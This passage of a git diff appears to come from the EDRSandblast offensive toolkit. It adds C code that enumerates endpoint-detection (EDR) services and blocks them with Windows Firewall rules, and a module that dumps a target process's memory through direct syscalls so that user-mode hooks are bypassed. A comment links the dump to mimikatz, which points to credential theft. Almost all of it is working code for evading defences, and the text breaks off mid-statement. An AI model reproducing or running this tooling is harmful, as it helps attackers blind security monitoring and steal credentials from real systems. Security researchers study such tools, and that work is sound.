SERVICE_KERNEL_DRIVER | SERVICE_WIN32 | SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS, SERVICE_STATE_ALL, (LPBYTE)lpServices, dwByteCount, &dwBytesNeeded, &lpServicesCount, NULL, NULL); + if (!returnValue) { + dwError = GetLastError(); + } + else { + dwError = 0; + } + } while (dwError == ERROR_MORE_DATA); + + if (dwError != ERROR_SUCCESS) { + _tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError); + goto cleanup; + } + + for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) { + dwByteCount = 0; + dwBytesNeeded = 0; + + hService = OpenService(hSCManager, lpServices[dwIndex].lpServiceName, SERVICE_QUERY_CONFIG); + if (!hService) { + _tprintf_or_not(TEXT("[!] Could not open handle on service \"%s\" (\"%s\")\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName); + continue; + } + + do { + if (lpServiceConfig) { + free(lpServiceConfig); + lpServiceConfig = NULL; + } + + lpServiceConfig = (QUERY_SERVICE_CONFIG*)calloc(dwBytesNeeded, sizeof(BYTE)); + if (!lpServiceConfig) { + _putts_or_not(TEXT("[!] Failed to allocate memory to retrieve service configuration")); + goto cleanup; + } + dwByteCount = dwBytesNeeded; + + returnValue = QueryServiceConfig(hService, lpServiceConfig, dwByteCount, &dwBytesNeeded); + if (!returnValue) { + dwError = GetLastError(); + } + else { + dwError = 0; + } + } while (dwError == ERROR_INSUFFICIENT_BUFFER); + + if (dwError != 0) { + _tprintf_or_not(TEXT("[!] Could not query information of service \"%s\" (\"%s\") (QueryServiceConfig failed: 0x%08lx)\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName, dwError); + continue; + } + + // If binary path is empty, skip service. + if (lpServiceConfig->lpBinaryPathName[0] == '\0') { + continue; + } + _tcscpy_s(serviceBinaryPathCopy, _countof(serviceBinaryPathCopy), lpServiceConfig->lpBinaryPathName); + + // replace \SystemRoot\ with %systemroot%\ + TCHAR* prefix = TEXT("\\SystemRoot\\"); + SIZE_T prefix_len = _tcslen(prefix); + if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) { + serviceBinaryPathCopy[0] = '%'; + SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len - 1)); + memmove(&serviceBinaryPathCopy[prefix_len], &serviceBinaryPathCopy[prefix_len - 1], sizeDisplacement); + serviceBinaryPathCopy[prefix_len - 1] = '%'; + } + + // Remove \\??\\ + prefix = TEXT("\\??\\"); + prefix_len = _tcslen(prefix); + if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) { + SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len)); + memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[prefix_len], sizeDisplacement); + } + + // insert %systemroot%\ before system32\ + prefix = TEXT("system32"); + prefix_len = _tcslen(prefix); + if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) { + SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1); + const TCHAR * new_prefix = TEXT("%SystemRoot%\\"); + SIZE_T new_prefix_len = _tcslen(new_prefix); + memmove(&serviceBinaryPathCopy[new_prefix_len], &serviceBinaryPathCopy[0], sizeDisplacement); + memcpy(serviceBinaryPathCopy, new_prefix, new_prefix_len * sizeof(TCHAR)); + } + + // Remove double quotes (replace "xxxxx" with xxxxx). + TCHAR * positionSpace = NULL; + if (serviceBinaryPathCopy[0] == '"') { + TCHAR * positionSecondQuote = _tcschr(&serviceBinaryPathCopy[1], '"'); + memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[1], sizeof(TCHAR) * (positionSecondQuote - &serviceBinaryPathCopy[1])); + positionSecondQuote[-1] = '\0'; + } + else + // Rermove arguments (replace driver.sys -qsdq azkeaze to driver.sys). + if ((positionSpace = _tcschr(serviceBinaryPathCopy, ' ')) != NULL) { + *positionSpace = '\0'; + } + + returnValue = ExpandEnvironmentStrings(serviceBinaryPathCopy, serviceBinaryPath, _countof(serviceBinaryPath)); + if (!returnValue) { + _tprintf_or_not(TEXT("[!] Error while attempting to expand service binary path \"%s\" (ExpandEnvironmentStrings failed: : 0x%08lx)\n"), serviceBinaryPathCopy, GetLastError()); + goto cleanup; + } + + // check if resulting path is a file, and if it's not missing its extension + if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) { + SIZE_T posExtension = _tcslen(serviceBinaryPath); + _tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".exe")); + if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) { + _tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".sys")); + if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) { + _tprintf_or_not(TEXT("[!] Did not find service binary '%s' (sanitized path: '%s')\n"), lpServiceConfig->lpBinaryPathName, serviceBinaryPath); + // NB : If unquoted service path -> should also print this error message + continue; + } + } + } + + if (isFileSignatureMatchingEDR(serviceBinaryPath) || isDriverPathMatchingEDR(serviceBinaryPath)) { + slistNewFWEntry = calloc(1, sizeof(fwBinaryRules)); + if (!slistNewFWEntry) { + _tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName); + goto cleanup; + } + + slistNewFWEntry->binaryPath = _tcsdup(serviceBinaryPath); + if (!slistNewFWEntry->binaryPath) { + _tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry->binaryPath) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName); + goto cleanup; + } + + fwList_insertSorted(sFWEntries, slistNewFWEntry); + _tprintf_or_not(TEXT("[+] Found EDR binary executed through a service name \"%s\" | path \"%s\"\n"), lpServices[dwIndex].lpServiceName, slistNewFWEntry->binaryPath); + } + + if (!CloseServiceHandle(hService)) { + _tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError()); + goto cleanup; + } + + //_tprintf_or_not(TEXT("[*] Found service: name => \"%s\" | Display name => \"%s\".\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName); + } + + if (!CloseServiceHandle(hSCManager)) { + _tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError()); + } + + free(lpServiceConfig); + lpServiceConfig = NULL; + free(lpServices); + lpServices = NULL; + + return 0; + +cleanup: + if (hService) { + if (!CloseServiceHandle(hService)) { + _tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError()); + } + } + + if (hSCManager) { + if (!CloseServiceHandle(hSCManager)) { + _tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError()); + } + } + + if (lpServiceConfig) { + free(lpServiceConfig); + lpServiceConfig = NULL; + } + + if (lpServices) { + free(lpServices); + lpServices = NULL; + } + + return -1; +} + + +HRESULT FirewallBlockEDR(fwBlockingRulesList* sFWEntries) { + BOOL isElevatedProcess = FALSE; + BOOL firewallIsOn = FALSE; + DWORD ntStatus = 0; + HRESULT hrStatus = S_OK; + + isElevatedProcess = IsElevatedProcess(); + if (!isElevatedProcess) { + _putts_or_not(TEXT("[!] The current process is not elevated, will not be able to add Firewall rules")); + return E_FAIL; + } + + hrStatus = IsFirewallEnabled(&firewallIsOn); + if (FAILED(hrStatus)) { + _putts_or_not(TEXT("[!] Could not configure Firewall EDR blocking rules: an error occured while attempting to determine the FireWall status")); + return E_FAIL; + } + + if (!firewallIsOn) { + _putts_or_not(TEXT("[*] The Windows Firewall is NOT active for all active profiles, skipping adding Firewall rules")); + return E_FAIL; + } + _putts_or_not(TEXT("[+] The Windows Firewall is on for all active profiles!")); + + _putts_or_not(TEXT("[*] Enumerating EDR processes..")); + ntStatus = EnumEDRProcess(sFWEntries); + if (!NT_SUCCESS(ntStatus)) { + _putts_or_not(TEXT("[!] An error occured while enumerating the EDR processes")); + } + _putts_or_not(TEXT("")); + + _putts_or_not(TEXT("[*] Enumerating EDR services..")); + ntStatus = EnumEDRServices(sFWEntries); + if (!NT_SUCCESS(ntStatus)) { + _putts_or_not(TEXT("[!] An error occured while enumerating the EDR services")); + } + _putts_or_not(TEXT("")); + + _putts_or_not(TEXT("[*] Blocking EDR found processes / services's binaries...")); + hrStatus = FirewallBlockEDRBinaries(sFWEntries); + if (FAILED(hrStatus)) { + _putts_or_not(TEXT("[!] An error occured while attempting to create Firewall blocking rules for EDR processes / services")); + } + + return 0; +} + +HRESULT FirewallUnblockEDR(fwBlockingRulesList* sFWEntries) { + BOOL isElevatedProcess = FALSE; + HRESULT hrStatusFinal = S_OK; + HRESULT hrStatusTemp = S_OK; + + isElevatedProcess = IsElevatedProcess(); + if (!isElevatedProcess) { + _putts_or_not(TEXT("[!] The current process is not elevated, will not be able to remove Firewall rules")); + return E_FAIL; + } + + for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) { + hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleInboundName); + if (FAILED(hrStatusTemp)) { + hrStatusFinal = hrStatusTemp; + } + + hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleOutboundName); + if (FAILED(hrStatusTemp)) { + hrStatusFinal = hrStatusTemp; + } + } + + return hrStatusFinal; +} + +void FirewallPrintManualDeletion(fwBlockingRulesList* sFWEntries) { + _putts_or_not(TEXT("[*] The Firewall blocking rules created can be manually deleted using the following commands:")); + + for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) { + _tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleInboundName); + _tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleOutboundName); + } +} + +BOOL fwList_isEmpty(fwBlockingRulesList* fwEntries) { + return fwEntries->first == NULL; +}; + +BOOL fwListElt_isBefore(fwBinaryRules* a, fwBinaryRules* b) { + return _tcscmp(a->binaryPath, b->binaryPath) < 0; +}; + +void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry) { + fwBinaryRules* first = fwEntries->first; + // if first element comes after, insert at the head + if (fwList_isEmpty(fwEntries) || fwListElt_isBefore(newFWEntry, first)) { + // insert newFWEntry at the head of the list + newFWEntry->next = fwEntries->first; + fwEntries->first = newFWEntry; + return; + } + + // browse list from the start until next element comes after (or is equal to) our new element + fwBinaryRules* ptr; + for (ptr = fwEntries->first; + (ptr->next != NULL) && fwListElt_isBefore(ptr->next, newFWEntry); + ptr = ptr->next); + // if end of the list, or new entry is different to the next one (no duplicate), insert it + if ((ptr->next == NULL) || fwListElt_isBefore(newFWEntry, ptr->next)) { + // insert newFWEntry after ptr + newFWEntry->next = ptr->next; + ptr->next = newFWEntry; + } + else { + // duplicate entry, do nothing + } +} \ No newline at end of file diff --git a/EDRSandblast/UserlandBypass/ProcessDumpDirectSyscalls.c b/EDRSandblast/UserlandBypass/ProcessDumpDirectSyscalls.c new file mode 100644 index 0000000..1f9430f --- /dev/null +++ b/EDRSandblast/UserlandBypass/ProcessDumpDirectSyscalls.c @@ -0,0 +1,503 @@ +#include +#include + +#include "ListUtils.h" +#include "RemotePEBBrowser.h" +#include "StringUtils.h" +#include "SyscallProcessUtils.h" +#include "SW2_Syscalls.h" +#include "Undoc.h" + +#include "ProcessDumpDirectSyscalls.h" + +VOID writeAtRVA(DUMP_CONTEXT* dumpContext, ULONG32 rva, const PVOID data, unsigned size) { + memcpy(GetRVA((ULONG_PTR) dumpContext->BaseAddress, rva), data, size); +} + +BOOL appendToDump(DUMP_CONTEXT* dumpContext, const PVOID data, DWORD size) { + ULONG32 newRVA = dumpContext->RVA + size; + if (newRVA < dumpContext->RVA) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: exceeds the 32-bit address space (int overflow)\n")); + return FALSE; + } + else if (dumpContext->DumpMaxSize < newRVA) { + while(dumpContext->DumpMaxSize < newRVA){ + dumpContext->DumpMaxSize *= 2; + } + PVOID ptr = realloc(dumpContext->BaseAddress, dumpContext->DumpMaxSize); + if (!ptr) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: reallocation failed\n")); + return FALSE; + } + dumpContext->BaseAddress = ptr; + } + + writeAtRVA(dumpContext, dumpContext->RVA, data, size); + dumpContext->RVA = newRVA; + return TRUE; + +} + +BOOL writeMiniDumpHeader(DUMP_CONTEXT* dumpContext) { + MINIDUMP_HEADER header = { 0 }; + header.Signature = dumpContext->Signature; + header.Version = dumpContext->Version | (((DWORD)dumpContext->ImplementationVersion)<<16); + // Only SystemInfoStream, ModuleListStream and Memory64ListStream streams. + header.NumberOfStreams = 3; + header.NumberOfStreams = (header.NumberOfStreams + 3) & ~3; // round up to next multiple of 4, https://github.com/w1u0u1/minidump/blob/main/minidump/minidump.c ? + header.StreamDirectoryRva = sizeof(MINIDUMP_HEADER); + header.CheckSum = 0; + header.Reserved = 0; + header.TimeDateStamp = 0; + header.Flags = MiniDumpWithFullMemory; + + if (!appendToDump(dumpContext, &header, sizeof(MINIDUMP_HEADER))) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump header\n")); + return STATUS_UNSUCCESSFUL; + } + + return STATUS_SUCCES; +} + +DWORD writeMiniDumpDirectories(DUMP_CONTEXT* dumpContext) { + DWORD nbDirectories = 0; + + MINIDUMP_DIRECTORY systemInfoDirectory = { 0 }; + systemInfoDirectory.StreamType = SystemInfoStream; + systemInfoDirectory.Location.DataSize = 0; + systemInfoDirectory.Location.Rva = 0; + if (!appendToDump(dumpContext, &systemInfoDirectory, sizeof(systemInfoDirectory))) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write SystemInfoStream directory\n")); + return STATUS_UNSUCCESSFUL; + } + nbDirectories++; + + MINIDUMP_DIRECTORY moduleListDirectory = { 0 }; + moduleListDirectory.StreamType = ModuleListStream; + moduleListDirectory.Location.DataSize = 0; + moduleListDirectory.Location.Rva = 0; + if (!appendToDump(dumpContext, &moduleListDirectory, sizeof(moduleListDirectory))) + { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write ModuleListStream directory\n")); + return STATUS_UNSUCCESSFUL; + } + nbDirectories++; + + MINIDUMP_DIRECTORY memory64ListDumpDirectory = { 0 }; + memory64ListDumpDirectory.StreamType = Memory64ListStream; + memory64ListDumpDirectory.Location.DataSize = 0; + memory64ListDumpDirectory.Location.Rva = 0; + if (!appendToDump(dumpContext, &memory64ListDumpDirectory, sizeof(memory64ListDumpDirectory))) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write Memory64ListStream directory\n")); + return STATUS_UNSUCCESSFUL; + } + nbDirectories++; + + while (nbDirectories & 3) { + MINIDUMP_DIRECTORY unusedDirectory = { 0 }; + unusedDirectory.StreamType = UnusedStream; + unusedDirectory.Location.DataSize = 0; + unusedDirectory.Location.Rva = 0; + + if (!appendToDump(dumpContext, &unusedDirectory, sizeof(unusedDirectory))) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write unusedDirectory directory\n")); + return STATUS_UNSUCCESSFUL; + } + nbDirectories++; + } + + return STATUS_SUCCES; +} + +DWORD writeMiniDumpSystemInfoStream(DUMP_CONTEXT* dumpContext) { + MINIDUMP_SYSTEM_INFO dumpSystemInfo = { 0 }; + + // read the PEB. +#if _WIN64 + PEB64 peb = *(PPEB64) __readgsqword(0x60); +#else + PEB peb = *(PPEB) __readfsdword(0x30); +#endif + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); + + dumpSystemInfo.ProcessorLevel = sysInfo.wProcessorLevel; + dumpSystemInfo.ProcessorRevision = sysInfo.wProcessorRevision; + dumpSystemInfo.NumberOfProcessors = (BYTE)sysInfo.dwNumberOfProcessors; + dumpSystemInfo.ProductType = VER_NT_WORKSTATION; + + dumpSystemInfo.MajorVersion = peb.OSMajorVersion; + dumpSystemInfo.MinorVersion = peb.OSMinorVersion; + dumpSystemInfo.BuildNumber = peb.OSBuildNumber; + dumpSystemInfo.PlatformId = peb.OSPlatformId; + dumpSystemInfo.ProcessorArchitecture = PROCESSOR_ARCHITECTURE; + dumpSystemInfo.CSDVersionRva = 0; + dumpSystemInfo.SuiteMask = VER_SUITE_SINGLEUSERTS; + dumpSystemInfo.Reserved2 = 0; + dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0; + dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0; + + for (DWORD i = 0; i < sizeof(dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) { + if (IsProcessorFeaturePresent(i)) { + dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= 1LL << i; + } + } + + RVA streamRVA = dumpContext->RVA; + ULONG32 streamSize = sizeof(dumpSystemInfo); + if (!appendToDump(dumpContext, &dumpSystemInfo, streamSize)) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the SystemInfoStream (stream rva)\n")); + return STATUS_UNSUCCESSFUL; + } + + // Append CSDVersion string +#if _WIN64 + ULONG32 CSDVersionLength = peb.CSDVersion.uOrDummyAlign.u.Length; +#else + ULONG32 CSDVersionLength = peb.CSDVersion.Length; +#endif + ULONG32 CSDVersionBufferLength = CSDVersionLength + sizeof(WCHAR); + PMINIDUMP_STRING CSDVersion = calloc(1, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength); + if (!CSDVersion) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate CSDVersion string\n")); + return STATUS_UNSUCCESSFUL; + } + CSDVersion->Length = CSDVersionLength; + memcpy(CSDVersion->Buffer, peb.CSDVersion.Buffer, CSDVersionBufferLength); + RVA CSDVersionRVA = dumpContext->RVA; + appendToDump(dumpContext, CSDVersion, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength); + + // write our length in the MiniDumpSystemInfo directory + writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize)); + + // write our RVA in the MiniDumpSystemInfo directory + writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA)); + + // write the CSDVersion RVA in the SystemInfoStream + writeAtRVA(dumpContext, streamRVA + offsetof(MINIDUMP_SYSTEM_INFO, CSDVersionRva), &CSDVersionRVA, sizeof(CSDVersionRVA)); + + return STATUS_SUCCES; +} + +DWORD writeMiniDumpModuleListStream(DUMP_CONTEXT* dumpContext, PMODULE_INFO pmoduleList) { + PMODULE_INFO currentModule = pmoduleList; + + ULONG32 modulesCount = 0; + + // Write modules dll metadata (length & path). + while (currentModule) { + modulesCount = modulesCount + 1; + + currentModule->nameRVA = dumpContext->RVA; + + // Write the module fullname length. + ULONG32 DllFullNameLength = (ULONG32)(wcsnlen((WCHAR*) ¤tModule->dllName, sizeof(currentModule->dllName)) + 1) * sizeof(WCHAR); + if (!appendToDump(dumpContext, &DllFullNameLength, 4)) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName length failed)\n")); + return STATUS_UNSUCCESSFUL; + } + + // Write the module fullname length. + if (!appendToDump(dumpContext, currentModule->dllName, DllFullNameLength)) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName failed)\n")); + return STATUS_UNSUCCESSFUL; + } + currentModule = currentModule->next; + } + + // Write the number of modules. + RVA streamRVA = dumpContext->RVA; + if (!appendToDump(dumpContext, &modulesCount, 4)) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of number of modules failed)\n")); + return STATUS_UNSUCCESSFUL; + } + + // Write the modules data. + currentModule = pmoduleList; + while (currentModule) { + MINIDUMP_MODULE module = { 0 }; + module.BaseOfImage = (ULONG_PTR)currentModule->dllBase; + module.SizeOfImage = currentModule->ImageSize; + module.CheckSum = currentModule->checkSum; + module.TimeDateStamp = currentModule->timeDateStamp; + module.ModuleNameRva = currentModule->nameRVA; + module.VersionInfo.dwSignature = 0; + module.VersionInfo.dwStrucVersion = 0; + module.VersionInfo.dwFileVersionMS = 0; + module.VersionInfo.dwFileVersionLS = 0; + module.VersionInfo.dwProductVersionMS = 0; + module.VersionInfo.dwProductVersionLS = 0; + module.VersionInfo.dwFileFlagsMask = 0; + module.VersionInfo.dwFileFlags = 0; + module.VersionInfo.dwFileOS = 0; + module.VersionInfo.dwFileType = 0; + module.VersionInfo.dwFileSubtype = 0; + module.VersionInfo.dwFileDateMS = 0; + module.VersionInfo.dwFileDateLS = 0; + module.CvRecord.DataSize = 0; + module.CvRecord.Rva = 0; + module.MiscRecord.DataSize = 0; + module.MiscRecord.Rva = 0; + module.Reserved0 = 0; + module.Reserved1 = 0; + + + if (!appendToDump(dumpContext, &module, sizeof(module))) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module bytes failed)\n")); + return STATUS_UNSUCCESSFUL; + } + currentModule = currentModule->next; + } + + // Write the total length in the ModuleListStream directory. + // header + 1 directory + streamType + ULONG32 streamSize = sizeof(modulesCount) + modulesCount * sizeof(MINIDUMP_MODULE); + writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize)); + + // Write our RVA in the ModuleListStream directory. + // header + 1 directory + streamType + Location.DataSize + writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA)); + + return STATUS_SUCCES; +} + +DWORD writeMiniDumpMemory64ListStream(DUMP_CONTEXT* dumpContext, PMEMORY_PAGE_INFO pmemoryPages) { + RVA streamRVA = dumpContext->RVA; + + PMINIDUMP_MEMORY64_LIST memory64List = calloc(1, sizeof(MINIDUMP_MEMORY64_LIST)); + if (!memory64List) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't alloc the Memory64ListStream structure\n")); + return STATUS_UNSUCCESSFUL; + } + + // Count the number of memory ranges. + PMEMORY_PAGE_INFO currentMemoryPage = pmemoryPages; + ULONG32 memoryPagesCount = 0; + while (currentMemoryPage) { + memoryPagesCount++; + currentMemoryPage = currentMemoryPage->next; + } + memory64List->NumberOfMemoryRanges = memoryPagesCount; + + // Extend the structure to host all ranges + ULONG32 streamSize = sizeof(MINIDUMP_MEMORY64_LIST) + memoryPagesCount * sizeof(MINIDUMP_MEMORY_DESCRIPTOR64); + PMINIDUMP_MEMORY64_LIST tmp = realloc(memory64List, streamSize); + if (!tmp) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't realloc the Memory64ListStream structure\n")); + return STATUS_UNSUCCESSFUL; + } + memory64List = tmp; + + // Compute the rva of the actual memory content + RVA64 baseRVA = (RVA64)streamRVA + (RVA64)streamSize; + memory64List->BaseRva = baseRVA; + + // Compute the start and size of each memory Page. + currentMemoryPage = pmemoryPages; + SIZE_T indexMemoryRange = 0; + while (currentMemoryPage) { + memory64List->MemoryRanges[indexMemoryRange].StartOfMemoryRange = currentMemoryPage->startOfMemoryPage; + memory64List->MemoryRanges[indexMemoryRange].DataSize = currentMemoryPage->dataSize; + currentMemoryPage = currentMemoryPage->next; + indexMemoryRange++; + } + + //Write the actual stream + appendToDump(dumpContext, memory64List, streamSize); + free(memory64List); + memory64List = NULL; + + // Write our length in the Memory64ListStream directory. + // header + 2 directories + streamType. + writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize)); + + // write our RVA in the Memory64ListStream directory + // header + 2 directories + streamType + Location.DataSize + writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA)); + + // dump all the selected memory Pages. + currentMemoryPage = pmemoryPages; + while (currentMemoryPage) { + PBYTE buffer = calloc(currentMemoryPage->dataSize, 1); + if (!buffer) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to allocate memory for memory Page)\n")); + return STATUS_UNSUCCESSFUL; + } + + NTSTATUS status = NtReadVirtualMemory(dumpContext->hProcess, (PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage, buffer, currentMemoryPage->dataSize, NULL); + // once in a while, a Page fails with STATUS_PARTIAL_COPY, not relevant for mimikatz + if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) { + _tprintf_or_not(TEXT("[-] Failed to read memory Page: startOfMemoryPage: 0x%p, dataSize: 0x%llx, state: 0x%lx, protect: 0x%lx, type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...\n"), + (PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage, + currentMemoryPage->dataSize, + currentMemoryPage->state, + currentMemoryPage->protect, + currentMemoryPage->type, + status); + } + if (MAXDWORD < currentMemoryPage->dataSize) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: memory range too big ! Aboring\n")); + return STATUS_UNSUCCESSFUL; + } + if (!appendToDump(dumpContext, buffer, (DWORD)currentMemoryPage->dataSize)) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to write memory Page)\n")); + return STATUS_UNSUCCESSFUL; + } + + // Free memory Page (overwrite it first, just in case). + memset(buffer, 0, currentMemoryPage->dataSize); + free(buffer); + buffer = NULL; + + currentMemoryPage = currentMemoryPage->next; + } + + return STATUS_SUCCES; +} + +DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath) { + DWORD status = STATUS_UNSUCCESSFUL; + DWORD targetProcessPID = 0; + + PMODULE_INFO pmoduleList = NULL; + PMEMORY_PAGE_INFO pmemoryPages = NULL; + + HANDLE hDumpFile = NULL; + OBJECT_ATTRIBUTES ObjectAttributesDumpFile = { 0 }; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + LARGE_INTEGER AllocationSize = { 0 }; + + HANDLE htargetProcess = NULL; + OBJECT_ATTRIBUTES ObjectAttributesProcess = { 0 }; + + status = SandFindProcessPidByName(targetProcessName, &targetProcessPID); + + if (!NT_SUCCESS(status) || targetProcessPID == 0) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't find target %s process PID\n"), targetProcessName); + goto cleanup; + } + + WCHAR FilePath[MAX_PATH] = { 0 }; + const WCHAR prefix[] = L"\\??\\"; + memcpy_s(FilePath, sizeof(FilePath), prefix, sizeof(prefix)); + UNICODE_STRING dumpFilePathAsUnicodeStr = { 0 }; + wcscat_s(FilePath, _countof(FilePath), dumpFilePath); + + getUnicodeStringFromTCHAR(&dumpFilePathAsUnicodeStr, FilePath); + + // Create the dump file to validate that the output path is correct beforing accessing the process to dump memory. + InitializeObjectAttributes(&ObjectAttributesDumpFile, &dumpFilePathAsUnicodeStr, OBJ_CASE_INSENSITIVE, NULL, NULL); + status = NtCreateFile(&hDumpFile, FILE_GENERIC_WRITE, &ObjectAttributesDumpFile, &IoStatusBlock, &AllocationSize, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); + if (status == STATUS_OBJECT_PATH_NOT_FOUND || status == STATUS_OBJECT_NAME_INVALID) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: the dump file %s path is not valid\n"), FilePath); + goto cleanup; + } + else if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't create empty dump file (NtCreateFile error 0x%x).\n"), status); + goto cleanup; + } + + // Open an handle to the process to dump. + InitializeObjectAttributes(&ObjectAttributesProcess, NULL, 0, NULL, NULL); + CLIENT_ID clientId = { 0 }; + clientId.ProcessId = UlongToHandle(targetProcessPID); + + status = NtOpenProcess(&htargetProcess, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &ObjectAttributesProcess, &clientId); + if (status == STATUS_ACCESS_DENIED) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: access denied error while trying to get an handle on the target process (NtOpenProcesserror 0x%x).\n"), status); + goto cleanup; + } + else if (!NT_SUCCESS(status)) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't get an handle to the target process (NtOpenProcess 0x%x).\n"), status); + goto cleanup; + } + + // Allocate memory to write the mini dump. + SIZE_T dumpSz = sizeof(MINIDUMP_HEADER); // arbitrary, the allocation size grows at each appendToDump + PVOID dumpBaseAddr = calloc(dumpSz, 1); + if (!dumpBaseAddr) { + _tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate memory for dump file.\n")); + goto cleanup; + } + + DUMP_CONTEXT dumpContext = { 0 }; + dumpContext.Signature = MINIDUMP_SIGNATURE; + dumpContext.Version = MINIDUMP_VERSION; // | 